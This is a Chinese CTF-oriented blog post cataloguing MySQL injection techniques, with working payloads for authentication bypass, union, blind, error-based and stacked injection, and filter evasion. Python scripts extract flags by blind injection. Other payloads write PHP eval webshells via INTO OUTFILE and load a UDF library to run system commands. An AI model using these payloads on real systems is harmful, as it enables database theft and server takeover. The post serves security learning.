目录

  1. 1. MySQL注入
  2. 2. MySQL语法
  3. 3. 万能密码绕过
  4. 4. 注入位置
  5. 5. 注入手法
  6. 6. 联合查询注入
  7. 7. 盲注
    1. 7.1. 布尔盲注
    2. 7.2. 时间盲注
  8. 8. 堆叠注入
    1. 8.1. 修改
    2. 8.2. 预处理
  9. 9. Sqlmap一把梭
  10. 10. insert注入
  11. 11. update注入
  12. 12. delete注入
  13. 13. 报错注入
    1. 13.1. updatexml
    2. 13.2. extractvalue
    3. 13.3. group by
    4. 13.4. join
  14. 14. limit注入
    1. 14.1. 联合查询法
    2. 14.2. procedure analyse()函数
    3. 14.3. 报错注入法
    4. 14.4. 时间注入法
  15. 15. group by注入
    1. 15.1. 时间注入法
    2. 15.2. 布尔注入法
    3. 15.3. 报错注入法
  16. 16. finfo文件注入
    1. 16.1. finfo类
  17. 17. file注入
    1. 17.1. .user.ini和短标签绕过
  18. 18. quine注入
  19. 19. UDF注入
  20. 20. 限制绕过
    1. 20.1. 位数长度不足
    2. 20.2. 输入过滤
  21. 21. 防御

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

mysql注入

2023/3/16 Web Sql
  |     |   总文章阅读量:

MySQL注入

wiki

如无特殊说明,本篇都是基于mysql数据库的注入

原型

//拼接sql语句查找指定ID用户
$sql = "select username,password from table_name where username !='flag' and id = '".$_GET['id']."' limit 1;";

PS:此语句中存在limit 1即只回显一行

基本思路

1'闭合前面的语句,执行自己构造的语句

参考:

MySQL语法

表示注释:

#或%23:post请求中使用

–+或–%20:get请求中使用(+将被识别为空格)

基础查询语句

查数据库名

select database();

查表名

select group_concat(table_name) from information_schema.tables where table_schema=database()/'数据库名'

查列名

select group_concat(column_name) from information_schema.columns where table_name='表名'

查字段

select group_concat(列名) from 表名

万能密码绕过

原理:使相关语句永真,使整段语句可执行即可,然后会返回所有结果

1'or 1 = 1#
1'or'1'='1
1'or'1'='1'%23
1"or 1 = 1#

此时
select username,password from user where username !='flag' and id = '1' or 1=1;
and优先级>or
即username !='flag' and id = '1'1=1
F or T = T

md5加密:在下面这种情况下

$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

可以使用ffifdyop绕过:

因为数据库会把16进制转为ascii解释,而md5(ffifdyop)的结果为276f722736c95d99e921722cf9ed621c,会返回成一个16进制字符串,这个字符串16进制转换后的结果为'or'6É].é!r,ùíb.,此时就提供了我们需要的'or'字符串,实现了闭合,且后面的字符串将被视为 true,此时整个sql语句为

SELECT * FROM admin WHERE username = 'admin' and password = ''or'字符串'

语句永真

同样效果的还有:

129581926211651571912466741651878684928

更多的万能密码可以在网上找个爆破字典


注入位置

例:登录框,查询框


注入手法

  • 数字型:当输入的参数为整型时,如果存在注入漏洞,可以认为是数字型注入(无引号闭合)

    1

    如果想传入字符串的话需要先转换为16进制

  • 字符型:当输入的参数被当做字符串时,称为字符型(有引号闭合)

    1'1"


联合查询注入

适用于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化

并集查询,可用于前面的语句查不到的情况

语句原型

union select column_name,column_name from table_name where column_name='flag'
  • 步骤

    1. 页面观察

    2. 注入点判断

    3. 判断当前表的字段个数

    ?id=1' order by 3 --+

    4. 判断显示位:判断我们的输入会在屏幕哪个地方进行回显

    ?id=-1' union select 1,2,3 --+
    //=-1':(让前面的参数查不出来)
    //1,2,3:(总列数)
    //--+(注释)

    5. 爆数据库名字

    ?id=-1' union select 1,database(),3 --+
    //1:(头列数)
    //3:(尾列数)

    6. 爆数据库中的表

    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()/'数据库名' --+

    7. 爆表中的字段

    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where (table_schema='数据库名' and)  table_name='表名' --+

    8. 爆相应字段的所有数据

    ?id=-1' union select 1,group_concat(字段名,'--',字段名,'--',字段名),3 from 表名 --+
    ?id=-1' union select (select group_concat(字段名) from 表名)--+

盲注

SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,逐位爆破出我们需要的值,这个过程成为盲注

外链

脚本参考Kradress

布尔盲注

测试回显语句

1'and if(1>0,1,0)#
1'and if(0>1,1,0)#
同或注入
1'and if(1!=!1,1,0)#

同或逻辑:

1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1

时间盲注

测试语句

1' and if(length(database())>1,sleep(5),1)#

堆叠注入

使用;执行多条sql语句

image-20230728174634319

image-20230728174706631

区别:联合查询注入只能执行查询语句,堆叠注入可执行任意语句(增删查改)

题目实战

修改

rename…to…语句:可以重命名改表名,使表名可被直接查询到

alter:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )

type:指定字段的类型,如varchar(100)text

  • 添加:

    alter table "table_name" add "column_name" type;

  • 删除:

    alter table "table_name" drop "column_name" type;

  • 改变数据类型:

    alter table "table_name" alter column "column_name" type;

  • 改列名:

    alter table "table_name" rename "column1" to "column2";


预处理

参考文章

利用字符串定义预处理 SQL (以直角三角形计算为例)

image-20230815171341792

那么同样的,我们可以在预处理语句中构造payload来执行select语句

(以select * from `1919810931114514`为例)

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
  • prepare…from…是预处理语句,会进行编码转换
  • execute用来执行由SQLPrepare创建的SQL语句
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值

Sqlmap一把梭

自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

参考文章

题目实战

官方文档

提供5种注入方式:

  1. 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  2. 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  4. 联合查询注入,在可以使用Union的情况下注入
  5. 堆查询注入,可以同时执行多条语句时的注入

注意:python3.9以上需要自行搜索更改几个模块的名称才能使用sqlmap(对着报错文件全局找模块,请)


insert注入

插入从数据库中获取的信息

查询语句原型:

$sql = "insert into table_name(column_name1,column_name2) value('{$username}','{$password}');";

我们的目标是插入信息的同时要能够回显数据库里的内容,为此我们需要用\'进行转义然后执行其它的语句

image-20230814111657385

image-20230814111728118

ctfshow web237

username=hello\&password=,database());#
# 查表名
username=hello\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#
# 查字段
username=hello\&password=,(select group_concat(column_name) from information_schema.columns where table_name='flag'));#
# 查flag
username=hello\&password=,(select group_concat(flagass23s3) from flag));#

ctfshow web238

过滤空格包括所有的空格绕过方法,那就用括号闭合来代替(这里仅示例查表名)

password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#

update注入

利用update修改字段名的功能来注入查询语句,使其字段名能够返回我们需要的信息

题目实战


delete注入

删除语句

$sql = "delete from  ctfshow_user where id = {$id}";

我们虽然不能直接通过这个语句来获取数据库的信息

但是在这个语句中我们可以输入if(2>1,sleep(0.2),1)进行时间盲注

ctfshow web241

from time import sleep
import requests

url = "http://1a2a5437-423f-4c06-9d47-5ac94a1871f2.challenge.ctf.show/api/delete.php"

result = ''

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'"
# 爆字段值
payload = "select flag from `flag`"

for i in range(1, 50):
    head = 32
    tail = 127

    while head < tail:
        # sleep(0.8)
        mid = (head + tail) >> 1  # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'id':
            f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.01),-1)#",
        }
        try:
            r = requests.post(url, data, timeout=0.2)
            tail = mid
        except:
            head = mid + 1  #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

报错注入

通过可以让sql出现报错的语句额外执行查询来实现获取信息

注:报错长度最长是32,所以要用substr或者substring或者not in等函数去截取

updatexml

原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就 因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码

作用: 改变文档中符合条件的节点的值

updatexml(1,concat('^',(需要查询的内容),'^'),1) --+

ctfshow web244

查数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image-20230819174515576

查表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

查列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)--+

查字段

?id=1' and updatexml(1,concat(0x7e,(select flag from ctfshow_flag),0x7e),1)--+

截取

?id=1' and updatexml(1,concat(0x7e,substr((select flag from ctfshow_flag),32,20),0x7e),1)--+

extractvalue

extractvalue (目标xml文档,xml路径)

对XML文档进行查询的函数,从目标XML中返回包含所查询值的字符串

利用方法和updatexml类似

ctfshow web245

表名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

列名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')))--+

字段

?id=1' and extractvalue(1,concat(0x7e,(select flag1 from ctfshow_flagsa)))--+

截取

?id=1' and extractvalue(1,concat(0x7e,(substr((select flag1 from ctfshow_flagsa),32,20))))--+

group by

原理参考这篇csdn的文章

原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,

又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果

select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a;

这种报错方法好像没限制长度(?

注:floor(向下取整)可以也替换成ceil(向上取整)

ctfshow web246

表名

注:这里不能用group_concat来合并查询结果而只能用limit,因为查询出来的内容不止一行

?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+

列名

?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+

字段

?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+

join

参考文章:http://www.wupco.cn/?p=4117

可以在过滤了column的时候利用

在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错

select name from test where id=1 and (select * from (select * from test as a join test as b) as c);

可以把当前表第一个字段成功爆出

同时利用using可以爆其他字段

select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c);

limit注入

参考p神博客

版本限制(5.0.0-5.6.6)

联合查询法

limit前面无order by

SELECT * from user LIMIT 1,1 union select * from user

procedure analyse()函数

是MySQL提供的一个分析结果集的接口,以帮助提供数据类型优化建议

image-20230814120752261

它会给出这个表上的详细统计信息

报错注入法

payload from p神

procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

时间注入法


group by注入

参考csdn的文章

先看这两条查询语句的差别

select username,count(*) from user group by username;

image-20230814161323429

第一条查询语句原因是由于group by在分组时,会依次取出查询表中的记录并创建一个临时表(表中有两个字段,分别是key和count(*)),group by的对象就是该临时表的主键。

如果临时表中已经存在该主键,则count(*)的值+1,如果表中不存在则将主键插入到临时表中

select username,count(*) from user group by "username";

第二条group by的对象是一个字符串“username”,对于字符串来说,group by 在进行分组时,会直接将该字符串当做主键插入到临时表中,如果临时表中存在该主键,则count(*)的值+1。

轮到第二条数据时也是将字符串当做主键插入到临时表,但此时临时表中已经存在该主键,则count(*)的值直接加1
也就是说所有行会被分为同一个分组,无论它们的实际值如何

但是在实际使用中第二种方法往往会产生报错

时间注入法

ctfshow web222

查询语句

$sql = select * from ctfshow_user group by $username;

其中username是可控的,我们可以通过concat(if(1=1,username,cot(0)))进行盲注

import requests
import string

url = "http://8e37d4f0-1263-493e-8122-78d259f16285.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
# 爆字段值
payload = "select flagaabc from ctfshow_flaga"

for i in range(1,46):
    for j in dict:
        s = f"?u=concat(if(substr(({payload}),{i},1)='{j}',username,cot(0)))#"
        r = requests.get(url+s)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

布尔注入法

ctfshow web223

url='http://4cc7e20c-d356-4c50-b6d3-ab9282a09438.challenge.ctf.show/api/'
import requests
result=''
i=0
def getnumber(i):
    num='true'
    if num == 1:
        return num
    else:
        for i in range(i-1):
            num+='+true'
        return num

while True:
    i+=1
    head=1
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{getnumber(i)},true))>{getnumber(mid)},username,true)"
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{getnumber(i)},true))>{getnumber(mid)},username,true)"
        payload = f"if(ascii(substr((select flagasabc from ctfshow_flagas),{getnumber(i)},true))>{getnumber(mid)},username,true)"

        data={
            "u":payload
        }
        r=requests.get(url,params=data)
        if "passwordAUTO" in r.text:
            head=mid+1
        else:
            tail=mid
    if head!=1:
        result+=chr(head)
        print(result)
    else:
        break

报错注入法

select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));

可以用来爆出数据库的名称

floor(rand(0)*2)产生的随机数前6位一定是 0 1 1 0 1 1
concat()用于将字符串连接
concat(database(),floor(rand(0)*2))生成database()+"0"或database()+"1"的数列,而前六位的顺序一定是

database()+"0"
database()+"1"
database()+"1"
database()+"0"
database()+"1"
database()+"1"

报错具体过程:

  1. 建立临时表
  2. 取第一条记录,执行concat(database(),floor(rand(0)*2))(第一次执行),结果为database()+“0”,查询临时表,发现database()+"0"这个主键不存在,则准备执行插入,此时又会在执行一次concat(database(),floor(rand(0)*2))(第二次执行),结果是database()+“1”,然后将该值作为主键插入到临时表。(真正插入到临时表中的主键是database()+“1”,concat(database(),floor(rand(0)2)) 执行了两次)
  3. 取第二条记录,执行concat(database(),floor(rand(0)2))(第三次执行),结果为database+“1”,查询临时表,发现该主键存在,count(*)的值加1
  4. 取第三条记录,执行concat(database(),floor(rand(0)*2))(第四次执行),结果为database()+“0”,查询临时表发现该主键不存在,则准备执行插入动作,此时又会在执行一次concat(database(),floor(rand(0)*2))(第五次执行),结果是database()+“1”,然后将该值作为主键插入到临时表。但由于临时表已经存在database()+"1"这个主键,就会爆出主键重复,同时也带出了数据库名

注:由以上过程可以发现,总共取了三条记录,所以表中的数据至少要为三条才可以注入成功


finfo文件注入

finfo类

官方文档

其中有方法openfile

finfo_open:也就是finfo::open的别名,这个函数的作用是打开一个文件,通常和finfo::file/finfo_file在一起使用

finfo_file:返回一个文件的信息

<?php
var_dump((new finfo)->file('1.txt'));
// 等价
$file=finfo_open(FILEINFO_NONE);
var_dump(finfo_file($file,'1.txt'));

image-20230815122316952

那么只要我们精心构造上传文件的内容,闭合前面的语句来执行sql创建文件的语句,就能实现写入一句话木马getshell

ctfshow web224

扫出robots.txt,访问/pwdreset.php重置密码为admin,登录进入上传界面

而我们要做的是通过写入一句话木马getshell,而常见的图片后缀都被过滤了,这里需要上传bin文件才能实现我们的目的

关键payload:

');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

image-20230815123504087

这样直接上传是不会解析执行的,所以我们还需要添加脏字符使其执行

image-20230815124429198

然后就能成功写入一句话木马


file注入

存在into outfile函数上传文件时,如果存在注入点,可以导入一句话或者上传页面

ctfshow web242

原型语句

$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

先看一下into outfile函数有什么参数(图 from Boogipop)

SELECT * INTO OUTFILE '/tmp/result.txt'
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
FROM table_name;

image-20230819164443843

starting by是每行开始,terminated by是每行结束

LINES TERMINATED BY:结束后添加一个语句,也就是字段间的间隔符

image-20230819171334845

OPTIONALLY ENCLOSED BY:要和LINES TERMINATED BY一起使用,将字段用什么包裹起来

image-20230819171550805

到这里我们就知道可以插入一句话木马来实现getshell

filename=1.php' FIELDS TERMINATED BY '<?php eval($_POST["cmd"]);?>'#

image-20230819172200713

image-20230819172257315

.user.ini和短标签绕过

ctfshow web243

过滤php的情况下,就按照文件上传的几个trick来打就行

filename=1.txt' FIELDS TERMINATED BY '<?=eval($_POST["cmd"]);?>'#

因为.user.ini是配置文件,所以我们可以构造;和换行符%0a来注释多余字符

filename=.user.ini' lines starting by';' terminated by '%0aauto_prepend_file=1.txt'# 

quine注入

参考ph0ebus大佬的博客

自产生程序,不接受输入并输出自己的源代码

在sql注入中,就是让输入的sql语句与要输出的一致

要实现输入语句与输出语句一致,那就需要用到replace函数进行重复替换

基本形式

replace(str,编码的间隔符,str)

其中参数str的形式为

replace(间隔符,编码的间隔符,间隔符)

例:间隔符为”.“,编码间隔符为CHAR(46),这样str就是

select REPLACE(".",CHAR(46),".");

image-20230624184640501

构造出来的结果就是

select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');

image-20230624185624959

但是此时可以发现单双引号还没实现一致

这时候就需要使用REPLACEstr的双引号换成单引号,这样最后就不会出现引号不一致的情况了

因此升级版Quine的基本形式,CHAR(34)是双引号,CHAR(39)是单引号

REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

升级版str的基本形式

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

先将str里的双引号替换成单引号,再用str替换str里的间隔符

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230624205209275


UDF注入

参考国光大佬的博客

参考羽师傅的博客

udf 全称为:user defined function,意为用户自定义函数

用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact()user()version()等函数

写入位置:/usr/lib/MySQL目录/plugin

具体步骤:

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib/plugin文件夹下),udf文件可以从sqlmap里面扒,也可以在国光的博客里面扒https://www.sqlsec.com/tools/udf.html,一般选lib_mysqludf_sys_64.so就可以了

  2. 从udf文件中引入自定义函数(user defined function)

  3. 执行自定义函数

    create function sys_eval returns string soname 'hack.so';
    select sys_eval('whoami');

ctfshow web248

因为get请求有长度限制,所以这里得分段来传

把国光博客里的payload中0x后面的16进制值填到下面脚本的udf变量中就可以了

import requests
url="http://17c12732-3a13-4af4-8750-f614f00d0519.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
    udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
    url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
    requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

限制绕过

位数长度不足

使用截断函数

  • substr()函数

substr(string,start,length)

1

  • left()函数

    获得源字符串左边的子串

    left(string,n)

  • right()函数

    获得字符串右边的子串

    right(string,n)

  • mid()函数

    返回字符串的子串(类似substr)

    mid(string,start,length)

  • reverse()函数


输入过滤

  1. 空格:/**/%09%0a%0d%0c+%a0

    以上全部过滤:直接用括号或反引号闭合

    -1'||column_name='flag-1'or(username)='flag

  2. 等号:like

  3. or:||

  4. 单独select: 大写

  5. select…where…:

    • show + datebases / tables / columns from table

    • 将 select * from 列名 进行16进制编码

    • handler:一行一行显示库中内容

      image-20230815205244766

      handler table_name open as `a`;(`a`为新创建的表)
      handler table_name read;读出什么输出什么
      
      handler tablename read first [where username=‘admin’];
      handler `a` read next [where username=‘admin’];[] 中的内容意味着可加可不加
  • 单字段过滤:16进制编码hex(a.username)

  • 过滤payload中的引号:

    unhex()hex()组合绕过

    ‘abc’ 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i
    具体转换的步骤是:

    1. abc转成16进制是616263
    2. 616263转十进制是6382179
    3. 用科学计数法表示6e6+382179
    4. 套上unhex(hex()),就是unhex(hex(6e6+382179));
  • 过滤数字:

    用别的字符替换数字然后再转换回去

-1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','arc'),'2','brc'),'3','crc'),'4','drc'),'5','erc'),'6','frc'),'7','grc'),'8','hrc'),'9','irc'),'0','jrc'),'a' from table_name where username='flag'--+

解密脚本

flag='flag'
#flag表示number
flag=flag.replace('arc','1')
flag=flag.replace('brc','2')
flag=flag.replace('crc','3')
flag=flag.replace('drc','4')
flag=flag.replace('erc','5')
flag=flag.replace('frc','6')
flag=flag.replace('grc','7')
flag=flag.replace('hrc','8')
flag=flag.replace('irc','9')
flag=flag.replace('jrc','0')
print(flag)

过滤ASCll码/[\x00-\x7f]/i

文件包含

' union select 1,group_concat(password) from table_name into outfile '/var/www/html/1.txt'-- -
将flag写入1.txt文件中

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php
写入一句话木马(需用base64编码+from_base64() )/var/www/html/api/config.php找到mysql的root的密码

防御

MySQL预处理